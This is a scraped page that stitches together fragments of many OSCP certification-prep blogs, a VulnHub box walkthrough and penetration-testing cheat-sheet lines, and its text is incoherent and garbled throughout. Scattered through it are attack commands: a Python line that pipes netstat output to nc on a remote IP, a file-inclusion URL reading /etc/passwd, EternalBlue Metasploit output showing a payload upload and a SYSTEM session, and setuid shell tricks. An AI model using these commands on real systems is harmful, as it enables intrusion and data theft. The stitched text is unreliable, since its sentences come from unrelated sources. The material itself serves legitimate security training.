I finished my Exam at about 8 a.m., after documenting other solved standalone machines. Provinggrounds. Woke at 4, had a bath, and drank some coffee. The start of this journey will be painfully slow as you overcome that initial learning curve and establish your own. The OSCP exam is proctored, so the anxiousness that I experienced during the first 24 hours was significant I got stuck once and got panicked as well. From there, you'll have to copy the flag text and paste it to the . https://www.youracclaim.com/badges/0dc859f6-3369-48f8-b78a-71895c3c6787/public_url, https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0, https://medium.com/@parthdeshani/how-to-pass-oscp-like-boss-b269f2ea99d, https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html, https://medium.com/@calmhavoc/oscp-the-pain-the-pleasure-a506962baad, https://github.com/burntmybagel/OSCP-Prep, https://medium.com/@m4lv0id/and-i-did-oscp-589babbfea19, https://gr0sabi.github.io/security/oscp-insights-best-practices-resources/#note-taking, https://satiex.net/2019/04/10/offensive-security-certified-professional/amp/?__twitter_impression=true, https://hakin9.org/try-harder-my-penetration-testing-with-kali-linux-oscp-review-and-courselab-experience-my-oscp-review-by-jason-bernier/, http://dann.com.br/oscp-offensive-security-certification-pwk-course-review/, https://prasannakumar.in/infosec/my-walk-towards-cracking-oscp/, https://infosecuritygeek.com/my-oscp-journey/, https://acknak.fr/en/articles/oscp-tools/, https://www.linkedin.com/pulse/road-oscp-oluwaseun-oyelude-oscp, https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html, https://blog.vonhewitt.com/2018/08/oscp-exam-cram-log-aug-sept-oct-2018/, https://www.alienvault.com/blogs/security-essentials/how-to-prepare-to-take-the-oscp, https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/, https://thor-sec.com/review/oscp/oscp_review/, https://github.com/P3t3rp4rk3r/OSCP-cheat-sheet-1?files=1, https://h4ck.co/wp-content/uploads/2018/06/cheatsheet.txt, https://sushant747.gitbooks.io/total-oscp-guide/reverse-shell.html, https://github.com/UserXGnu/OSCP-cheat-sheet-1?files=1, https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/, http://ramunix.blogspot.com/2016/10/oscp-cheat-sheet.html?m=1, https://hausec.com/pentesting-cheatsheet/, https://github.com/ucki/URP-T-v.01?files=1, https://blog.propriacausa.de/wp-content/uploads/2016/07/oscp_notes.html, https://zsahi.wordpress.com/oscp-notes-collection/, https://github.com/weaknetlabs/Penetration-Testing-Grimoire?files=1, https://github.com/OlivierLaflamme/Cheatsheet-God?files=1, https://medium.com/@cymtrick/oscp-cheat-sheet-5b8aeae085ad, https://adithyanak.gitbook.io/oscp-2020/privilege-escalation, https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html, https://github.com/Ignitetechnologies/Privilege-Escalation, https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/, https://github.com/mzet-/linux-exploit-suggester, https://github.com/Anon-Exploiter/SUID3NUM, https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS, https://github.com/sleventyeleven/linuxprivchecker, https://adithyanak.gitbook.io/oscp-2020/windows-privilege-escalation, https://sushant747.gitbooks.io/total-oscp, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md, https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/, http://www.fuzzysecurity.com/tutorials/16.html, https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation, https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/, multi handler (aka exploit/multi/handler), Practice OSCP like Vulnhub VMs for the first 30 days. I pwned just around 30 machines in the first 20 days I guess, but I felt like Im repeating. I have seen writeups where people had failed because of mistakes they did in reports. I've tried multiple different versions of the reverse shell (tried metasploit and my own developed python script for EB). After spending close to eight months studying for the Offensive Security Certified Professional (OSCP) certification, I'm happy to announce that I'm officially OSCP certified! The only thing you need is the experience to know which one is fishy and which one isnt. You signed in with another tab or window. So, I had to run all the tools with reduced threads. look for a more suitable exploit using searchsploit, search google for valuable information, etc. I am a 20-year-old bachelors student at IIT ISM Dhanbad. An, If you are still dithering in indecision about pursuing Pen Testing then Metasploitable 2 offers a simple free taster. ps afx for graphical parent id. "C:\Program Files\Python27\python.exe" "C:\Program Files\Python27\Scripts\pyinstaller-script.py" code.py, From http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet. The Advanced and Advanced+ machines are particularly interesting and challenging. My own OSCP guide with some presents, my owncrafted guide and my Cherrytree template, enjoy and feel free . To avoid spoilers, we only discussed when we had both solved individually. Additionally, the bonus marks for submitting the lab report have been doubled from 5 to 10 points, and the lab report must include an AD set writeup. Before undertaking the OSCP journey, I had heard a few times about HackTheBox. This cost me an hour to pwn. We find that the user, oscp, is granted local privileges and permissions. Pivoting is not required in the exam. now attempt zone transfer for all the dns servers: The version number for the vulnerable service was nicely advertised. On the 20th of February, I scheduled to take my exam on the 24th of March. You could perhaps remove the PG Play machines as they are more CTF-like but I found those machines to be the most enjoyable. #include If you complete the 25 point buffer overflow, 10 pointer, get a user shell on the two 20 pointers and the 25 pointer, this leaves you with 65 points while 70 is the pass mark. Came back. OSCP Writeup & Guide : r/oscp - Reddit Einstein is apparently quoted to have said, Insanitydoing the same thing over and over again and expecting a different result. Hackthebox LAME Walkthrough (NO Metasploit) OSCP Preparation. Go use it. Youll need to authorise the target to connect to you (command also run on your host): So, I wanted to brush up on my Privilege escalation skills. 149 votes, 12 comments. Stay tuned for additional updates; Ill be publishing my notes that I made in the past two years soon. is a relatively new offering by Offensive Security. This will help you to break down the script and understand exactly what it does. I had to wait 5 days for the results. Not too long later I found the way to root and secured the flag. So the three locations of the SAM\Hashes are: nmap -sV --script=rdp-vuln-ms12-020 -p 3389 10.11.1.5, meterpreter > run post/multi/recon/local_exploit_suggester, Firewall XP As long as the script is EDB verified it should be good to go (at the top of the ExploitDB page). Then, moving on to standalone machines, I began enumerating them one by one in order to discover low-hanging fruit, and within the following two hours, I was able to compromise another machine. Chrome browser user agent: The PDF also offers a full guide through the sandbox network. This repository will not have more updates. The exam will include an AD set of 40 marks with 3 machines in the chain. We used to look at other blogs and Ippsec videos after solving to get more interesting approaches to solve. lets start with nmap. So the first step is to list all the files in that directory. New: then use sudo su from user userName, write return address in the script return for x86 (LE). INFOSEC PREP: OSCP -: (Vulnhub) Walkthrough | by Pulkit Marele | Medium OSCP is an amazing offensive security certification and can really. You, need to be able to write a script off the top of your head (this will be tested in more advanced certifications). Alice with Siddicky (Student Mentor) - YouTube VHL offers 40+ machines with a varying degree of difficulty that are, CTF-like. My primary source of preparation was TJ_Null's list of Hack The Box OSCP-like VMs shown in the below image. cat foo|rev reverse contents of cat, __import__("os").system("netstat -antp|nc 192.168.203.130 1234"), Deserialization (Pickle) exploit template, for x in 27017 28017; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.11.1.237; done, http://10.11.1.24/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00 box walkthrough: InfoSec Prep: OSCP - Blogger It is important to mention the actual day to day work of a Penetration Tester differs greatly and online lab environments can only emulate a penetration test to such an extent. Discover service versions of open ports using nmap or manually. This non-technical guide is targeted at newcomers purely with the aim to achieve the OSCP (if you have already started your journey, have a read through and slot in wherever your experience lines up). Very many people have asked for a third edition of WAHH. Nonetheless I had achieved 25 + 10 + 20 + 10(user) + 10(user) + 5 (bonus) = 80. If you find an MD5 or some other hash - try to crack it quickly. Recently, I hear a lot of people saying that proving grounds has more OSCP like VMs than any other source. Watching Ippsec videos are highly recommended as he goes over everything in great depth and sometimes shows interesting manual ways to exploit. I tried using tmux but opted against it instead I configured window panes on QTerminal. Use Git or checkout with SVN using the web URL. The general structure that I used to complete Buffer Overflows: 1_crash.py My preferred tool is. Partly because I had underrated this machine from the writeups I read. Sar Walkthrough Sar is an OSCP-like VM with the intent of gaining experience in the world of penetration testing. I first saw the autorecon output and was like, Damn, testing all these services gonna cost me a day. About 99% of their boxes on PG Practice are Offsec created and not from Vulnhub. But now passing the Exam, I can tell some of the valuable resources that helped me understand AD from basics (following the order) , The above resources are more than sufficient for the exam, but for further practice, one can try . A tag already exists with the provided branch name. I, recommend this as the jump in difficulty was huge. The service is straight forward to use providing a good selection of target machines which are organised by Beginner, Advanced and Advanced+. I highly recommend aiming for the, Certificate as it solidifies your understanding of, and the exploit process thus reducing your reliance on Metasploit. How I cracked Secarmys OSCP challenge and won the OSCP lab voucher for free. Bruh you have unlimited breaks, use it. while studying for N+ you know you will get a handful of questions about port numbers), albeit for the buffer overflow. ), [*] 10.11.1.5:445 - Uploading payload ILaDAMXR.exe. rev: However since you are reading this post I am sure you have pondered over this journey many a time and are close to committing. but you will soon be able to fly through machines! The OSCP certification will be awarded on successfully cracking 5 machines in 23.45 hours. I thank Secarmy(now dissolved into AXIAL), Umair Nehri, and Aravindha Hariharan. To organise my notes I used OneNote which I found simple enough to use, plus I could access it from my phone. http://mark0.net/soft-tridnet-e.html, find /proc -regex '\/proc\/[0-9]+\/fd\/. I had to finish it in 30 minutes and hell yeah, I did it. Pwned 50100 vulnhub machines. [root@RDX][~] #nmap -v -sT -p- 192.168.187.229. Not just a normal 30 days lab voucher, but a sophisticated 90 days lab voucher that costs about 1349$. This is the process that I went through to take notes, and I had more than enough information to write my report at the end. As I mentioned at the start there is no shame in turning to walkthroughs however it is important that you do not become reliant on them. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. Privilege escalation is 17 minutes. The only hurdle I faced in OSCP is the same issue that we face on HackTheBox. This creates wordlist with min 10 letters and max 10 letters starting with 3 numbers, then string qwerty then special characters. This is the trickiest machine I had ever seen. Pasted the 4 IPs (excluding BOF) into targets.txt and started with, autorecon -t targets.txt only-scans-dir, While that was running, I started with Buffer Overflow like a typical OSCP exam taker. The excess data may overwrite adjacent memory locations, potentially altering the state of the application. dnsenum foo.org So, I highly suggest you enumerate all the services and then perform all the tests. host -t ns foo.org I scheduled my exam for the morning of February 23rd at 10:30 a.m., began with AD, and had an initial shell on one of the boxes in 30 minutes, but then misinterpreted something during post enumeration, resulting in wasting 56 hours trying to figure out something that was not required to move forward. I used OneNote for note-making as that syncs with the cloud in case if my host machine crashes. to enumerate and bruteforce users based on wordlist use: Walkthroughs are meant to teach you. I would highly recommend purchasing a 1 month pass for $99 and working on it every day to get your moneys worth. privilege escalation courses. However diligent enumeration eventually led to a low privileged shell. I was so confused whether what I did was the intended way even after submitting proof.txt lol . Similar to the second 20 pointer I could not find the way to root. Work fast with our official CLI. We sometimes used to solve them together, sometimes alone and then discuss our approach with each other. Respect your procotors. One way to do this is with Xnest (to be run on your system): In this article, we will see a walkthrough of an interesting VulnHub machine called INFOSEC PREP: OSCP, https://www.vulnhub.com/entry/infosec-prep-oscp,508/. Though it seems like I completed the exam in ~9 hours and 30 minutes, I cant neglect the break hours as the enumeration scripts have been constantly running during all the breaks. If nothing happens, download GitHub Desktop and try again. Once I got the initial shell, then privilege escalation was KABOOM! gh0st. In this video walkthrough, we demonstrated how to take over and exploit a Windows box vulnerable to the eternal blue. ~/Desktop/OSCP/ALICE# And it should work, but it doesn't. Such mistery, much amazing. Essentially its a mini PWK. One year, to be accurate. VulnHub Box Download - InfoSec Prep: OSCP Simply put, a buffer overflow occurs when inputted data occupies more space in memory than allocated. [+] 10.11.1.5:445 - Overwrite complete SYSTEM session obtained! This page is the jouney with some tips, the real guide is HERE. . Meterpreter Script for creating a persistent backdoor on a target host. (Live footage of me trying to troubleshoot my Buffer Overflow script ), I began by resetting the machines and running. Google bot: If this is not the case, GitHub may have an updated version of the script. THM offer a. This machine also offered a completely new type of vulnerability I had not come across before. An understanding of basic scripting will be helpful, you do not need to be able to write a script off the top of your head. So yes, I pwned all the 5 machines and attained 100 points in 12 hours and 35 minutes (including all the 6 breaks which account for 2.5 3 hours ). A BEGINNERS GUIDE TO OSCP 2021 - OSCP - GitBook For instance you should be able to explain the service running on port 22 and less common uses for the port (SCP, port forwarding) & have an understanding of Networking Concepts such TCP/IP and the OSI model. You can root Alice easy. Buffer overflow may or may not appear in the exam as per the new changes. Run NMAP scan to detect open ports start with a full scan This scan shows there are 4 ports open and shows the service running on the ports port 21 FTP: vsftpd 2.3.4 (vulnerable) but a rabbit. check for files which stickey bits. It will try to connect back to you (10.0.0.1) on TCP port 6001. level ranges 1-5 and risk 1-3 (default 1), copy \10.11.0.235\file.exe . Figure out dns server: So, make use of msfvenom and multi handler whenever you feel like the normal reverse shell isnt working out and you need to use encoders. Created a recovery point in my host windows as well. The info-graph they show emphasises that the more machines you complete in PWK, the more likely you are to pass (who would have thought). So, after the initial shell, took a break for 20 minutes. ltR. [*] 10.11.1.5:445 - Created \ILaDAMXR.exe [+] 10.11.1.5:445 - Service started successfully [*] Sending stage (175174 bytes) to 10.11.1.5. Sar(vulnhub) Walkthrough | OSCP like lab | OSCP prep Because I had a few years of experience in application security from the bug bounty programs I participated in, I was able to get the initial foothold without struggle in HTB machines. Just follow the steps in: https://medium.com/@minix9800/exploit-eternal-blue-ms17-010-for-windows-xp-with-custom-payload-fabbbbeb692f Another interesting post about MS17-010: https://medium.com/@minix9800/exploit-eternal-blue-ms17-010-for-window-7-and-higher-custom-payload-efd9fcc8b623 More posts you may like r/DataHoarder I felt like there was no new learning. http://www.geoffchappell.com/studies/windows/shell/explorer/history/index.htm It is used by many of today's top companies and is a vital skill to comprehend when attacking Windows. Took two breaks in those 3 hours but something stopped me from moving on to the next machine. I even reference the git commits in which the vulnerability has raised and the patch has been deployed. img { I highly recommend solving them before enrolling for OSCP. At first you will be going through ippsec videos and guides but eventually you will transition away from walkthroughs and work through machines on your own. Breaks are helpful to stop you from staring at the screen when the enumeration scripts running. Run local smb server to copy files to windows hosts easily: Run as: Didnt take a break and continued to the 20 point machine. The machines are nicely organised with fixed IP Addresses. find / -writable -type f 2>/dev/null | grep -v ^/proc. I knew that it was crucial to attaining the passing score. Now I had 70 points (including bonus) to pass the Exam so I took a long break to eat dinner and a nap. The location of the flag is indicated on VulnHub: but we do not know the password, since we logged in using a private key instead. Over the course of doing the labs outlined in this guide you will naturally pick up the required skills (ippsec works through scripting excellently). An outline of my progress before I passed: The exam itself will not feature exploits you have previously come across. Because, in one of the OSCP writeups, a wise man once told. The OSCP certification exam simulates a live network in a private VPN . S'{2}' I took a 30 minutes break and had my breakfast. # on windows target, %systemroot%\system32\config - c:\Windows\System32\Config\, %systemroot%\repair (but only if rdisk has been run) - C:\Windows\Repair. PWK is an expensive lab. After continuously pwning 100+ machines OSCP lab and vulnhub for straight 40 days without rest, at one point, my anxiety started to fade and my mindset was like Chuck it, I learned so much in this process. zip all files in this folder psexec.exe -s cmd, post/windows/gather/credentials/gpp Meterpreter Search GPP, Compile User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html), Find file type based on pattern when file command does not work: it will be of particular advantage in pursuing the. Took a VM snapshot a night before the exam just in case if things go wrong, I can revert to the snapshot state. When you hit a dead end first ask yourself if you have truly explored every avenue. check for file permissions, check for registry entries, check for writable folders, check for privileged processes and services, check for interesting files. Also, subscribe to my Youtube channel, where I will begin posting security-related videos. python -c 'import os,pty; os.setresuid(1001,1001,1001); pty.spawn("/bin/bash")', Maintaing PE write c executable that sets setuid(0) setgid(0) then system(/bin/bash). Windows : type proof.txt && whoami && hostname && ipconfig, Linux : cat proof.txt && whoami && hostname && ip addr. in the background whilst working through the buffer overflow. Overview. 5 Desktop for each machine, one for misc, and the final one for VPN. After 2 months of HackTheBox practice, I decided to book the PWK Labs in mid-November, which were intended to begin on December 5th, but Offensive Security updated the Exam format introducing Active Directory, which I had just heard the name of until then :(. In September of last year, I finally decided to take the OSCP and started preparing accordingly. This repo contains my notes of the journey and also keeps track of my progress. Beginner and Advanced machines offer hints whereas you are expected to challenge yourself on the Advanced+ machines. The other mentioned services do not require pivoting. . There are plenty of guides online to help you through this. Today we'll be continuing with our new machine on VulnHub. discussing pass statistics. It took me 4 hours to get an initial foothold. With the help of nmap we are able to scan all open tcp portsStarting with the port number 80 which is http, [][root@RDX][~] #nikto --url http://192.168.187.229, [root@RDX][~] #chmod 600 secret.txt, [root@RDX][~] #ssh -i secret.txt oscp@192.168.187.229. This would not have been possible without their encouragement and support. Discussion of "=" used as "padding" in Base64: Or you could use an online Base63 decoder like: We need the username to do that. [*] 10.11.1.5 - Meterpreter session 4 closed. A good step by step tutorial can be found. Also, explore tools such as Impacket, Crackmapexec, Evil-winrm, Responder, Rubeus, Mimikatz. Coming back in some time I finally established a foothold on another machine, so had 80 points by 4 a.m. in the morning; I was even very close to escalating the privileges but then decided to solve AD once again and take some missing screenshots. In this blog I explained how I prepared for my Exam and some of the resources that helped me pass the Exam, /* This stylesheet sets the width of all images to 100%: */ So, I discarded the autorecon output and did manual enumeration. This worked on my test system. The target is the "InfoSec Prep: OSCP" box on VulnHub, which is a site that offers machines for you to practice hacking. VHL also includes an instance of Metasploitable 2 containing. It consists in 3 main steps which are taught in the PWK course: Note that we do not recommend learners to rely entirely on this resource while working on the lab machines. 3_eip.py We highly encourage you to compromise as many machines in the labs as possible in order to prepare for the OSCP exam. You can find all the resources I used at the end of this post. OSCP is not like other exams where you do your preparation knowing that there is a chance that something in your prep will directly appear on your exam (e.g.
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